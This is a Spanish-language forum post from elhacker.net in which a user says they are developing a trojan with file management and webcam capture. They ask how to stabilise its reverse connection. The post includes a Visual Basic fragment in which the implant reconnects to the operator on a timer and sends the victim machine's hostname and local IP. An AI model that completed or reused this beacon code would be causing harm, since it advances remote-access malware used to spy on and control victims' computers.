elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Conexión inestable
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Conexión inestable  (Leído 1,204 veces)
Kasi

Desconectado Desconectado

Mensajes: 76



Ver Perfil
Conexión inestable
« en: 24 Marzo 2008, 23:05 pm »

Hola muy buenas, vereis hace poco empecé a adentrarme en el mundillo de los troyanos  y similares, encontré el source de un  file manager de E0N y a partir de ahi lo adapte y añadí mas funciones , actualmente estoy haciendo la parte de capturar la camara web, pero bueno al grano.

El problema viene cuando la parte del servidor se queda abierta a la espera de que conecte al cliente, si la aplicación cliente no está abierta, el server empieza a sobrecargarse de tal manera que cada vez empieza a comer mas memoria hasta que llega a un extremo altisimo.

La manera de la que conecta es la misma que trae el file manager nombrado antes, no la he tocado, lo unico que hice fue sustituir los winsock por el CsocketMaster, y desde entonces es cuando empezó a tener ese problema, ademas de que la conexión tarda mas en establecerse.

He recorrido medio foro buscando a ver si encontraba algun metodo de establecer una conexión mas estable,rapida y que se sobrecargue menos.

Si pudierais echarme un cable o decirme algun metodo para hacerlo, me seria de mucha ayuda.

Gracias por adelantado, aqui  dejo el codigo de como esta actualmente el server para establecer la conexión.

Código:

Private Sub Timer1_Timer()
On Error Resume Next
If ws.State <> 7 Then 'Si estas desconectado.
ws.CloseSck 'ws.CloseSck  'Cerramos la conexión.
ws.Connect ip, port 'Y nos conectamos
Timer2.Enabled = True 'Desbloqueamos el timer2.
End If 'Cerramos el if
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If ws.State = 7 Then 'Si estas Conectado.
ws.SendData "hola|" & ws.LocalHostName & "|" & ws.LocalIP
Sleep 10
Timer2.Enabled = False
End If
End Sub

Tenia pensado el quitar esa parte y hacerla de nuevo , sin usar timer(no se si será recomendable o posible) y usando los eventos del ws , connect, disconnect, etc..


Saludos y gracias


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con una red inalambrica inestable
Redes
Jadesita 7 7,093 Último mensaje 18 Septiembre 2012, 01:16 am
por shellb_c0de
Problema conexion internet inestable
Redes
ricardoan18 3 7,336 Último mensaje 11 Abril 2013, 21:30 pm
por mugre
Red Ad-Hoc inestable
Redes
Roland 8 4,260 Último mensaje 3 Mayo 2018, 22:02 pm
por Roland
Windows 10 20H2 inestable
Windows
Zorronde 4 3,287 Último mensaje 23 Abril 2021, 02:34 am
por El_Andaluz
Internet muy inestable
Redes
Thizz 3 2,665 Último mensaje 14 Julio 2021, 23:37 pm
por Thizz
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines